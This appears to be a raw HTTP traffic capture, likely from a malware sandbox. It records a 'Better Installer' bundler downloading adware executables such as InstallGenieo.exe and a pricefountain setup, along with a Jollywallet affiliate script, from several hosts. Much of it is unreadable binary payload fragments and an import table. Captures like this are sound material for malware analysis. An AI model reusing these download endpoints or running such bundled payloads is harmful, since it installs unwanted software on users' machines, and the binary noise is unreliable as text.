X"vhUmusYuu&wts&gvrsYy])\(n{mXuR/JwsYn^znX])nSwQr\s(ITwf/)\'Y{[ykXwz &
sRsX\(IS]IYs]RIT\)rE]fY\H&khquh&qK}|iuq(nWlUm&g|rL'|muF ith'out*rJtWqu
qXrQ&.\RsQ^(s mW~W"vhUmusYuu&wts&gvrsYn^znX])nSwQr\s(ITwf/)\'Y{[ykXwz 
&sRsX\(IS]IYs]RIT\)rE]fY\H&khquh&qK}|iuq(nWlUm&g|rL'|muF ith'out*rJtWq
uqXrQ&.\RsQ^(s mW~&"vhUmusYuu&wts&gvrsYy])\(n{mXuR/JwsYn^znX])nSwQr\s(
ITwf/)\'Y{[ykXwz &sRsX\(IS]IYs]RIT\)rE]fY\HWggmWEfmhtZiut&ouJUq&r}rL'f
ouq(itk}m&qZnun}qtk{mQ&.\RsQ^(s mW~'"vhUmusYuu&wts&gvrsYn^znX])nSwQr\s
(ITwf/)\'Y{[ykXwz &sRsX\(IS]IYs]RIT\)rE]fY\HWggmWEfmhtZiut&ouJUq&r}rL'
fouq(itk}m&qZnun}qtk{mQ&.\RsQ^(s mW~("vhUmusYuu&wts&gvrsYy])\(n{mXuR/J
wsYn^znX])nSwQr\s(ITwf/)\'Y{[ykXwz &sRsX\(IS]IYs]RIT\)rE]fY\H&r{rJl n{
}gitmWqJqUm{lWrL&&o{F&iu[fr{m(m{~(n{lXrQ&.\RsQ^(s mW~)"vhUmusYuu&wts&g
vrsYn^znX])nSwQr\s(ITwf/)\'Y{[ykXwz &sRsX\(IS]IYs]RIT\)rE]fY\H&r{rJl n
{}gitmWqJqUm{lWrL&&o{F&iu[fr{m(m{~(n{lXrQ&.\RsQ^(s mW~*"vhUmusYuu&wts&
gvrsYy])\(n{mXuR/JwsYn^znX])nSwQr\s(ITwf/)\'Y{[ykXwz &sRsX\(IS]IYs]RIT
\)rE]fY\HW}|nWtZnKq iu}gnthUnWE{qL'}nJggittXr{wgmJgho{F*mQ&.\RsQ^(<<< skipped >>>

GET /affiliate/client?dist=141&sub=iF18wJSsmtycl&name=ShopperPro HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,25383020-30f5-408f-b983-88ab51edfcbf,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=76&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: api.jollywallet.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Encoding: gzip

Content-Type: application/javascript

Date: Thu, 08 Jan 2015 04:54:22 GMT

Expires: Mon, 12 Jan 2015 04:54:22 GMT

P3P: policyref="/w3c/p3p.xml", CP="CURa ADMa DEVa OUR IND DSP CAO COR"

Server: nginx/1.4.7

X-Powered-By: PHP/5.4.30

Content-Length: 10737

Connection: keep-alive
...........}[email protected]............{.i.."@%..h......~#".$....
..3.l.[.Idd.2".Ar.e..~..v.....e...t....d..`.w.`_Dq.O.......%_e........
."-.w!<...?..;..'~....xY.cw^l..h.A.t.......*..$..f.,,.Y......0..C(^
.......?...YX-...b...Dq.:..%.O....... ...l...[.n..9.j<_....m..v.t.0
.x.D.\Jm..K..M?...].}.e...u.Y.c...A)\/.i......F..X...n.........5.V....
[email protected]?.#?....s..B.v.....(... ....T....l._....U(T..g=*...KQA....*SM}...
....y][email protected].^..]..q~5...Qf...}./P.d.~J........{..sq......J..D....
.Be..`........x..........\.ul(..hl..q....f.V..wqTt.w.o.......,.....}(.
........p.....~.. .zQ.,.l.%^.........B.I..~#.Yg..o.'..'.. *K.'...0...-
V..Q...W?{.S`...r..>....6X.}../CQz{|B.n.>..w.......J.=A..[..o..S
*..2....*[email protected]]... [email protected].[z.'.E....=!M.............s.m
.......E...k..n.......Do.t%5......=%[email protected].....'...~q....i..
.x.7..V.....oD./....D.../Z...{T..6Um.....$=.E.o.5....g..z......rp.3..c
.S.......f..2s.,|L...l.>T\W.....O...0.Z....'...[... @...'pE..pro...
9...E.. .....}Ut....-..=.....&{....[..^..!UL.F4n.n..o.%0]w...... .a..9
.. .v&H.-..1.`.....C5.......E../.&..x.R..K**.H..#..%....4.A$......#.. 
;..`.W..f.Q8E ..!..I...LH.....|. ........8.G.>.....(..cyK~a ..P{"@.
[email protected][email protected]`X.....:6..h....z..C/.A]V..
.."..x...j.^x=.7.W....)H2.....z.'c....d..&..Ng.b......._...Z[...0.....
............K.7.O..b.........Q.I(.....$..#..u.. =..I.B.xL...3..F....Lw
..S(vf.9/.l.R..x!v..7..@....<....'.=...J....82...W........`.R..z..b
.{(..p.]f}..i.]Nf.l:.;..Z.VE)..Ul.b...3..'.....Z.._......43.&.5..s<<< skipped >>>

GET /home/smt_mystartsearch.exe HTTP/1.1

Range: bytes=38540-

User-Agent: Better Installer(Mozilla)

Host: VVV.girlzhangwei.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Thu, 08 Jan 2015 04:57:25 GMT

Content-Type: application/octet-stream

Content-Length: 269780

Last-Modified: Wed, 07 Jan 2015 02:46:14 GMT

Connection: keep-alive

Expires: Sun, 11 Jan 2015 04:57:25 GMT

Cache-Control: max-age=259200

Content-Range: bytes 38540-308319/308320
.....Kz...E.P..`...P..H....M..E............H...P......}..r..u.........
..t.....E......E......E..r...`............E...}....t.........p........
.`....r..u...........~..........................x....u.3.....~....Q..d
$...A..u. .Q..~...P..x....dy...E..j.h..A..M..E......E......E...?y...E.
.j.h..A...`.....t.........p.........`......y...E.P..`...P..x....M..E..
..........x...P......}..r..u...........t.....E......E......E..r...`...
.........E...}....t.........p.........`....r..u..w........\......H....
C.H....M......P..H.........}..r..u..>...............x....C.x....M..
....P..x.........}..r..u...........\........A.j.j.j...H....C.H...Pj.h.
.......3..w.................Q..........D...Vj.P.}l.......\....W..D....
.H....C.H...WQj.h.............j.j.j...x....C.x...Pj.h........3..w.....
............Q.'........Vj.S..l............WSW..x....C.x...Qj.h........
[email protected]./.......
......r...x.............\..........................x......>.....H..
..|....... ...3.h....f.E..E.f.E.f.E..E.f.E..E.P..4...P..8...P.W...<
...Ph.....E.Pj.f..E.f..E.f..E.f..E.f..E.f..E.f..E.f..E.....A.3.h....Pf
[email protected][email protected].....
t'[email protected].@j.
............<...Ph..A.h....V.}.......M.d......Y_^[.M.3..".....]..U.
....SV.5..A.Wj [email protected]@.]...j....E.Ph....Vj Sh.....C........
W.u...........A..}..u............5..A......u..._^..[..].U....8..0B.3..
E.Sj..E.h..A.P......A.....E.j.j.j.j.j.h....P....A..E....u.3.[.M.3.<<< skipped >>>

GET /mirror/pricefountain/default/setup.exe HTTP/1.1

Range: bytes=815616-

User-Agent: Better Installer(Mozilla)

Host: d1eebpovd478nh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 815616

Connection: keep-alive

Date: Tue, 06 Jan 2015 11:17:13 GMT

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1420539938/atime:1420540204/ctime:1420539939

Cache-Control: max-age=3600

Last-Modified: Tue, 06 Jan 2015 11:01:30 GMT

x-amz-version-id: 33GIbljaZdOrrxw6fd8yOhdzeKhEU7SW

ETag: "aba069326327747d739be51094cd31c2"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 815616-1631231/1631232

Age: 111

X-Cache: Hit from cloudfront

Via: 1.1 e0506fdf36645ad2ac8b60d7fdad2e1d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: pmPN1ivWhkyEtfSJiAflCn0yzeCD6hTyha0-hQ610B00Dm1oV3iCPg==
].....%8....g.}v..../[email protected].. K......!..xU!....9...:..N.0..rE!.,q.w
~K......I"S..%$~c.....!.J...j%..B.#&...70#9'....\...tS.G.H...qi.a.#.bQ
H.CRV ......XU.....#....Zy@"..C...../..0.C.E]'f5G.M.Y._....:....(1x...
F..*.Y}........}....kVk.F....xewX .0........M]..m....f.G.....,...'z`gR
.].....w.!..".L't..c..s.!-/h>.....o0........}O...`.5.V..\5.........
N..Xx.z.O.X.9....Z..J5%.....u.d......t|......\...?...V). ..S.......(.s
T..e&.......6..)|...&..z........h.....T..t......IJ..9.E.'.hW..........
..0Z.#.FO~8f..,.th|:}Q[.....{ ...n..o.=...F.R..j.CW...B.2.8mx...kbT...
......rh...N...Z..dT..bS..m9....ku..F.. @..l...X....z...-... ...no.,..
.X........[...P..o.....4o"KEms3..9.....X...N.K.......&V.j$....S{... . 
.........6..w{..([email protected]........~[~
.....UlQ .1UF......B.T.....4...*.Ms:..4....w2R...c...C#..E...tQDbs. ..
x5..P.).....Jr..<&......F...af.fU.Nr.xX.H.79N.=Y..b...)(......."r..
....4kK....E..R.$e.]...Bg).. ...L./v......N|-"85..._ '.I.q.....p...2..
........F..w.....;Ts..|..G.fd.e......x.<..0`.....>.c...d........
Sl.#..V^....ND7.s....N.[[email protected]..~.x..B........;o...DE.......XNO...
.......x.....Q..g..%.n.....1..0 ...}>.]k......PE.ar.x.v...Y.5...FR.
|..#$.'.0 ...@~(.B..B.B...t....Bi.6......6..}..M.....l?..4....\...U..&
lt;[email protected]@.!.....*/T$...r..Z.[Iw,
....p9JM....f.....V......*......e4".Y..9.pu.....1c...D..jA.Aw..|V..)..
.Jq..d...k..F..T.g_m.i.G.(...i.An:.....]Q.../..| .P.....ZP..O...q.~...
r........u...\%.!.>..,.p!).U..o..3W.G6....%.. I........4eG....L<<< skipped >>>

GET /sd?is=sm HTTP/1.1

Range: bytes=364665-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.sourceapp.info

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SourceAppSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP003C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Fri, 09 Jan 2015 04:53:20 GMT

Date: Thu, 08 Jan 2015 04:53:20 GMT

Content-Range: bytes 364665-583463/583464

Content-Length: 218799

Connection: keep-alive
..Gy#{M.H.:..S4.x.F...%l.........8...".....:6.,.. ........)o}....v.W..
e3h|.......I.*"........j....Rm.`.>A.......3.M)....:..&;6..a..L.....
..I..Y.....&.-U[.5.....t:w...5W..j.]bS.^...)..3`.......QK....1....8...
A..V.].%..Aqu.Y.n6.|xJ...*...O .Hi.!..b-.j......X.G.X..b.K5.._....}..~
.'.....#..x6@..'J...x}.A....T^.y.....f. ...e1h.]..A...1..2..K....t.`.m
N..|..J.3.k..s......6.`.`3.]#^........!.6..-...g..W<..CT()K......._
FR..MtGd{..eT.#o..*4PKQ.Sb.n./q.cQ>.).o1..V-.jg..\/..h.}x....m..I..
..o^~.TMk..p..)8..... .....\/.kM....Z7.."..d"..P....].. ........K..u..
:.....v.d........*..Zyr..:..vA@.{Ru.g......v.....:L..F..17..!e*i.d.b.?
<B9B\O.....U.#..^s..c/u......._k......%...%...B{".....<......''.
.'...?...N.....erW.`.........2.(U.e....9(.{,.\.....a^e.C`X....*...6.%x
.HF...z.i..F}?.3......rr\.....A..}.[..%..H.b...14..M..3...ljTG.9.1....
[email protected]...,...............(..
x......t)g..%.Fm.& ......U.:.........=..l4.......6........=f/.o...k. b
Y..YL....$a8.".....));._...J.......'H'~.....x.[4..i.>Lwe=Tx.V...K..
.....6...lK..O..!.W.w...q..$31m.....z@<y-<.........&...N..s\4h.3
.R..Y........F....Ze.KKv..........N..*1|K.\l.>..........I..........
0k.U..q..!=.\...O.......N.gK..C.IPw.}E...2..4r...,kJ... .B.]c.."....q.
'.P.*[email protected]..&.X}...(.!.......T....tK..gc.0.a.<.J.....6c
.)\.........b...o.'..A..k'.....M....?.!m..Y65........w..-.......=.CO.`
...RR..w.=.9G..{8]..j..MXJ<..OU....|...'......m,..e..o:............
..)".....V.......*....e..: ........i..iz|.U..8 U...f...,.&...V...C<<< skipped >>>

GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1

Range: bytes=694049-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Thu, 08 Jan 2015 04:53:21 GMT

Content-Type: application/octet-stream

Content-Length: 416427

Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT

Connection: close

ETag: "507b83f7-10f1cc"

Content-Range: bytes 694049-1110475/1110476
...^...y..R.?...tN.ts...&..'^....]I...K.uQ......A#......t.3.....).2..8
'...Q .k.1.f....8P........U^.%.i..Jz...R]A.......X..>oqIi...v.\..!.
.pk.r....B.......)b..>..KR..3zO.f......D..M9.&...>O....W3.(..!.7
%*[email protected](o.-..$.31..V......p.6............. r..5.jf4.yrF.O....
w....}8..............L......'(..'..../ .-[9..#.........n`Z..A...<..
I.8)'.QnB.`M..^V.gVt0&.EI..8.?sM.|.p....K.......J.......q..c.'.7\(!7..
d.;4y....F......g.v.._.9....LC?..........f..>.........).-*....{%&..
B.8..0P.....!.D.,..l&...2.y.O.|R).......{4.!K..`k...2..c.3.....!.T....
....r..5`...............c./.66.JGvN../.).u.....d.q...5.V.%..q5>...r
.....\...\V:..%.B-.]....~.X.C..HQ.{[.....i".('...`.......@.,.m....zeG.
Fa(],.Kt .LdS..g.4.3v.tDu`.....gQ.np0........~...........J....\.....RZ
.3......\..?. .....h.......?.H].9.G.g......x..4j. ..Z..?....xa..I.....
..?...ai.4...2.g.f v......g.\..aeWIN...0.F .......u......e\.>...~..
.....<y.W2......^Io.y3...v.2.rO..X..A.*.z7.w......cOv...B.!>m..:
Jj...^G. .u..]..ykV.~...................6.....YL.._o ..<.:.w../.9Z.
U......A!..]GZA..9.8.jU..L..GW.=.....p...G....8..3..KC...oH..ZP....A2U
..<.b/*35K..D.....#........n.53H...c..&ei..=P.NUY..%^#y.h3.........
.....qfX..;F..JE.1d....v#..fh%...R..o!....K.A...........W.."s!....#...
.a.N$S....0..1_......)z.J\......Q.....J.*`.MPYt.....Qb.?re&v..c..X'...
.y..?........d....].]O........=(...&.X=n'.5..)....q.*.....9S..\.c.{..8
...k.....*T...g..>Y"9...m.........J.E"H.: iZ...$..g)..`.d..........
.....O[.OJk.G..{.9......y.....}...........#...b.G...-c..._F...._..<<< skipped >>>

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=178475-

User-Agent: Better Installer(Mozilla)

Host: d3aa6lfjz7mo54.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 107083

Connection: keep-alive

Date: Sun, 04 Jan 2015 05:53:17 GMT

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 178475-285557/285558

Age: 3473

X-Cache: Hit from cloudfront

Via: 1.1 1af3b41af1ae11562aeae8eb3a73224a.cloudfront.net (CloudFront)

X-Amz-Cf-Id: AYVTvuC3-Dxl37dP4gDm2JTZ49QDFJAcLKpEKBxr6B1GKlh5yMFpMA==
w.N>.Pq..A)...[N......B.x../.>[email protected]..
N.Z......j..&...h....A.hO..\....'.....sj.`.....H.S.|.s=.......I.)L>
...c....i.>.....G.u..H.D....P......qC0<.(...m..y.dm.\1N.m...v.T`
- .Ss. .G2..rk.......N{[email protected].......}......6P$....2
.52..!.x....L.R. [email protected],.].\...a..........k
.....A.....P....u`..I.///....b~.y..^...P...z..p..:.d.....R.4....U. ...
../.M]..~.........(...... y.).. ..In.I.)..ua.*..N!Q.......1.e..b)F5...
x.bS..f..|q.H..K...V.`.^...x!Su4_"?...uc.tY.m...%....r..be.z. ....0.^.
....]y........)... .u_/..V..6).v..\.7n-z.q.............Y.w.oBk..f..}..
[email protected]. .*.b.;..).....|.\@c..)......H.P..;......!"...gN.......9W..
.. ......NJJJ....N|..)T..aU..1....5~.G...=d.m..Qfl..?.yO|e...`.sXm$Op;
."p................t=V.........Q....f.r0.........i...M......E....Y.../
....N.7/.;.....|..R...(./.4..{)..~.M....).......f.w...6.^.0TB...H..c..
.....^-a.G`0ub..|a;.C..T.<..N/......^..>."....f..$..d.=.X0..x4R.
..W...=.....`..w.$\a/.~R.~<.....jS.q.es....-.....#W#.D.4H...tw...&.
A.w/...t...[H"D....9E].....A....B<D.7[.2.3.!.......P.......R..R._.I
...y........([email protected].\D.k.2....3..".".......
.p...?_X.........$v.....,......\.V..EV.G...........Z.DO....B..V...%.D.
...].n..`...H.!..=<.. Y.*l..].j.u.d.o.M.i...>..m........$K..@...
..]~.H.z.p.O.?.i.&.U.....U."<..o.S#..x.....s..g.[.....A.6~'-.1D....
....`Pim2....;.xsV2.'7.#..jlW.1-..4......h ..~...oV..."...]|..i=.....V
(.....e..!..EU.d....ui..9).....^P.o.g..e..H.1x.....\.#..D....G.w.p<<< skipped >>>

GET /mirror/pricefountain/default/setup.exe HTTP/1.1

Range: bytes=611712-

User-Agent: Better Installer(Mozilla)

Host: d1eebpovd478nh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 1019520

Connection: keep-alive

Date: Tue, 06 Jan 2015 11:17:13 GMT

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1420539938/atime:1420540204/ctime:1420539939

Cache-Control: max-age=3600

Last-Modified: Tue, 06 Jan 2015 11:01:30 GMT

x-amz-version-id: 33GIbljaZdOrrxw6fd8yOhdzeKhEU7SW

ETag: "aba069326327747d739be51094cd31c2"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 611712-1631231/1631232

Age: 111

X-Cache: Hit from cloudfront

Via: 1.1 e0506fdf36645ad2ac8b60d7fdad2e1d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: PgE7pXVxXU6ZnaPFubjEn_JCCEdhmMyhuTEDY6SW2l1Dl_v9ZQRAKQ==

eateMutexW....WaitForSingleObject...GetEnvironmentVariableA.^.MoveFile
A...GetCurrentThreadId....ReleaseMutex..>.LoadLibraryExW....QueryDo
sDeviceW.[.Module32FirstW..].Module32NextW...GetFileSize...ReadFile...
.CreateFileW...GetComputerNameW..p.GetSystemDirectoryW...GetVolumeInfo
rmationW.KERNEL32.dll....MessageBoxW...LoadStringW...GetWindowThreadPr
ocessId....EnumWindows.6.PostMessageW..3.wsprintfW.USER32.dll..0.RegCl
oseKey.a.RegOpenKeyExW.n.RegQueryValueExW..P.RegEnumKeyW.9.RegCreateKe
yExW.O.RegEnumKeyExW.e.GetUserNameW..H.RegDeleteValueW.~.RegSetValueEx
W..D.RegDeleteKeyW.R.RegEnumValueW.t.ConvertStringSidToSidW..B.GetName
dSecurityInfoW.=.BuildExplicitAccessWithNameW....SetEntriesInAclW....S
etNamedSecurityInfoW...OpenProcessToken..Z.GetTokenInformation.l.Conve
rtSidToStringSidW....LookupAccountNameW..ADVAPI32.dll....CommandLineTo
ArgvW....SHGetFolderPathW..".ShellExecuteW...SHGetSpecialFolderPathW.S
HELL32.dll.>.CoInitialize....CoCreateInstance..l.CoUninitialize..?.
CoInitializeEx..@.CoInitializeSecurity..h.CoTaskMemFree...CLSIDFromStr
ing.ole32.dll.OLEAUT32.dll..4.PathAppendW.I.PathFindFileNameW...PathRe
moveFileSpecW.3.PathAppendA.E.PathFileExistsW.SHLWAPI.dll...GetModuleB
aseNameW....EnumProcessModules..PSAPI.DLL...WinHttpReceiveResponse....
WinHttpSetTimeouts....WinHttpSetOption....WinHttpSendRequest....WinHtt
pWriteData....WinHttpConnect....WinHttpCloseHandle....WinHttpQueryHead
ers...WinHttpQueryDataAvailable...WinHttpOpen...WinHttpOpenRequest....
WinHttpReadData...WinHttpAddRequestHeaders..WINHTTP.dll...UuidCrea

<<< skipped >>>

GET /sponsored/pricefountain/pricefountain.png HTTP/1.1

Accept: */*

Referer: hXXp://installer.filebulldog.com/awfr7zip23772/7zip/ef016749e4b3b84c8b6f3946b9bc2c0d?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: cdn.bisrv.com

If-Modified-Since: Mon, 22 Dec 2014 13:21:34 GMT

If-None-Match: "54981ade-eab"

Connection: Keep-Alive


HTTP/1.1 304 Not Modified

Connection: keep-alive

Date: Thu, 08 Jan 2015 04:53:17 GMT

Server: nginx

ETag: "54981ade-eab"

Expires: Mon, 22 Dec 2014 16:38:34 GMT

Cache-Control: max-age=600

Age: 234

X-Cache: Hit from cloudfront

Via: 1.1 144e6e4207694d2ef81d726cff09bfd3.cloudfront.net (CloudFront)

X-Amz-Cf-Id: O0r32QvZCc9pqDtDMOyceNNu-M3CpHhOksrhhi9wRCODsMuisPo4LA==

HTTP/1.1 304 Not Modified..Connection: keep-alive..Date: Thu, 08 Jan 2
015 04:53:17 GMT..Server: nginx..ETag: "54981ade-eab"..Expires: Mon, 2
2 Dec 2014 16:38:34 GMT..Cache-Control: max-age=600..Age: 234..X-Cache
: Hit from cloudfront..Via: 1.1 144e6e4207694d2ef81d726cff09bfd3.cloud
front.net (CloudFront)..X-Amz-Cf-Id: O0r32QvZCc9pqDtDMOyceNNu-M3CpHhOk
srhhi9wRCODsMuisPo4LA==..

GET /partner/gim394750002/release/live/InstallGenieo.exe HTTP/1.1

Range: bytes=247102-

User-Agent: Better Installer(Mozilla)

Host: download.genieo.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

x-amz-id-2: oIYSZuX0wWyKtXowtjrFtSLCysROc6xRzQhMYMTlvg7NinWwSYvyi/XIFwmkjslH

x-amz-request-id: 5EC323BD9B91A34F

Date: Thu, 08 Jan 2015 04:57:30 GMT

Last-Modified: Mon, 20 Oct 2014 09:54:42 GMT

ETag: "d65611fbc4da8cea4e886076bec82d1e"

Accept-Ranges: bytes

Content-Range: bytes 247102-988407/988408

Content-Type: application/octet-stream

Content-Length: 741306

Server: AmazonS3
-s...R.... .e.>7........... )..51.n4..@..)....ck.../.01-. Z?L....k.
...O..<2Ma....7..r.2....j....O.".A......dK..&G..Hj6.(.P....ZxVA.>
;...Sr.l:.86....6bq.....>.d-p~R{..jI.L..M. .8O....q..[..J4...T..l..
...m.......)e.C..A....I,cPy2|.."-...".M.O..v...=Q......|.......'..Z..I
}....Dw.....f.i...m.~.o..H'.j.....&.agE.`._`.>...[.:O...^4......3..
.7.{[email protected]...<......BY..4C.}..Qf.'(.....rRf?...q.=|....|....
[........E..Gu...oD2 ...E/....2$..k......o......E.. h.....s7..ouq...N.
.".o.....L.....%.8-...zG.._.|.B{.e(w.iy.....ALA.}.,.cf1%ZE-.U.....oa.F
.~|o.":,.N.s...N.^x....GT..(.!..oy'.N..?.L....7...)..f1nS.P.6....._v..
....._)S......`....qe0.d.DI............sq..su...{j..Y..'...;..6.{..@..
Os3p4T8.z...8....L.Q.F...H../...b...(..k._..z.a...f...0......}.......P
.|-.3.g...<.,w=P.tk_$..p..\,...K..*..........S.....l&..^C.q.J...OD.
..$..T..x...`........:Ea#"...fv....p.u.YWE.........m..E...CV....=sR...
=W.DC..jQ..o.74;9 .5y^.H&f.3..|X.......w. ..^./E...X..lC.|.hR.. ...._J
r..v...E..X~.D.Q.......5.>...A..v ...a~=..F ..{a"....yj F..].n.....
.=1H<.Z...n}.1.;.!7U3..........G..N...T......A.........m .....PcC\C
ek.w.........J.a....{*.>.u..]9.....2K.}.G@........$-H....=9....f&f.
.6l...M...u ..k.N).O..8J.~........i ..`5.........r..g`..../...E.....R.
..P......l$r.GTJ...\...v9..Y.D.!&e..aq...)%.'.[.....Pgx..../.PQ..yv..D
...#...m.|P!.l..s.$.q&=..d6T.jQ...]d....7c ...ll.s...X..`T.(Da.P..b..!
....A>..n."..H.....Rrc...C.T..J]Jx\*.....l...q2..q...R......?9..4l.
....F..3`{..x.`..d^.g............C..t.G.'xdA>y...m....m~..."..~<<< skipped >>>

GET /jollywallet/resources/js/2/affiliate_client.js HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,25383020-30f5-408f-b983-88ab51edfcbf,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=76&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: d2cnb4m0nke2lh.cloudfront.net

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: application/x-javascript

Content-Length: 339024

Connection: keep-alive

Accept-Ranges: bytes

Cache-Control: max-age=2592000

Date: Thu, 01 Jan 2015 13:13:03 GMT

ETag: "54a522a1-52c50"

Expires: Sat, 31 Jan 2015 13:13:03 GMT

Last-Modified: Thu, 01 Jan 2015 10:34:09 GMT

P3P: policyref="/w3c/p3p.xml", CP="CURa ADMa DEVa OUR IND DSP CAO COR"

Server: nginx/1.4.7

Age: 574880

X-Cache: Hit from cloudfront

Via: 1.1 a1f13ae389287d1d59bb16d8b3b42917.cloudfront.net (CloudFront)

X-Amz-Cf-Id: CHZaJX9jqRlfanUOqZAp_0PZjN7N_XOJ0W6R2vpRCvpvgGzCPIf_JQ==

var jw_db = {};.jw_db.permanentData = {gui:[],actions:[]};.jw_db.perma
nentCache = ["2351f600bf62102c56b3941c39225683","16524241cd11b1b1c6b3a
b30874047d6","c677ed22eed7f49fb1c55f70396c13f8","513eba82ce28999a775a1
e0e940d2ba4","5617660db3c6ac0476d867cca3b88fe8","e48ec7a3651ed003f8c06
1f518de9a4a","d04992ca4d0bbfe57c6e97c4800f9238","3fbd46e58e6a5fb439c6b
9ce6dca6722","9659eae7f67b76fb8644da35b1a3031f","cc2bebaa4fd273bc9bfd8
5189e750f1b","ff6e3f4612ef317625de5eb91140233f","bc2e6c682fb7411be447d
ed8eff5241b","1d60fc858146df68b9f8d259697f499c","a18281565d8fe250b850f
966a0c8054c","1d2be12b3c7e149eb9580da963e1ce05","886b52137277a7e848070
77888faf95b","73bcd3981149f5bffcb4bc0882d2136f","86c4d82fc0aedd1666acb
0abe4619a43","b53e20c91b81ec25a6d06d4cf351d0b2","2db77d0bbaad6f48449aa
2ee75b07b2f","4d03e7e5a92c5f56488651ea717cf464","233e5595b16e975bb4ebd
fd25620240a","e25c18fe7492b06a1acfe93ce6e83b8b","f13d88798f2b83aa50926
55b00be4ef1","b66380a53038ae2b7dd1bfaf6781d6ff","8afe94aa44f0ed7e607c9
86c538d37d7","a03bfb2d9a68853cad303a64fc54c0f0","91405a3e3c688a8e6f846
8949b18f94f","e77ffd08f59704bdae2a2c7f4a86ed9f","1576c876d278876f29c79
6c876da7659","42115558454a5a92dee17a1e651b5692","e50173d2983f028042965
a37357931fc","063c233da86fe6f0bb4c9d332f494099","600dff3e7e087e8af4acd
d996b6ecbea","9bd5796c279f448b0b2b32b6271d67b2","e33d5df51a0913066917a
3a1bfbc9f57","66043d5ca4afedac52b066d69a271dde","2fcf8b55874afc412cf42
286c4942e81","f8e236df6124dfd9dfdf2dd1b82b3b40","f35460959faa7ac9c027d
ef739f6c927","f1165efcdc35ad738ec7b63656e4ea6d","d0dcf869247f0494e

<<< skipped >>>

GET /partner/gim394750002/release/live/InstallGenieo.exe HTTP/1.1

User-Agent: Better Installer(Mozilla)

Host: download.genieo.com

Cache-Control: no-cache



[email protected]@..}[email protected]... M.......M....3
.....FQ.....NU..M..........VT..U.....FP..E...............E.P.M...Hp@..
[email protected]}[email protected].}.j.W.E..
[email protected]@[email protected] [email protected]..
.u....E.P.u...\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>
;B.sB..i......D.......t.G.....t...O..t .....u...3....3...F.....;5.>
B.r._^[...U..QQ.U.SV..i........>B.3...W.M..M..F...t.9M.t.$.B.F.;..&
gt;B.sD..i......|...B......t.j.R..........u([email protected].;..&g
t;B...r.3._^[.....}..t..}[email protected]$...>B.V3... s49
5.>B.v,.P.W....u.3.G...z.t.....$...F......;5.>B.r._^...U.......&
gt;B..e..SV.....W.=.>B..E..E.3.9.tK;.sE.5.>B.........u(.E...t..&
lt;[email protected].#....M...;.u.C......;.r.;.t..E..E...}. r..E._^[..
...D$...}.@..@B.... .Q.WG.....V.t$..j.....>B.k.....8.t\P.....=....t
[email protected].... ..|$..t/[email protected]$.
..Dr@...}.3.^...........D$....>[email protected]$...:.....U..
........>B.SV.u.Wj.Y.}..E.3....E..U..........@B..].........M...h.@.
.M......A.......$..(@.SP.m:...r.....l6B.9][email protected]
..........SP.3:[email protected]@[email protected]].u"
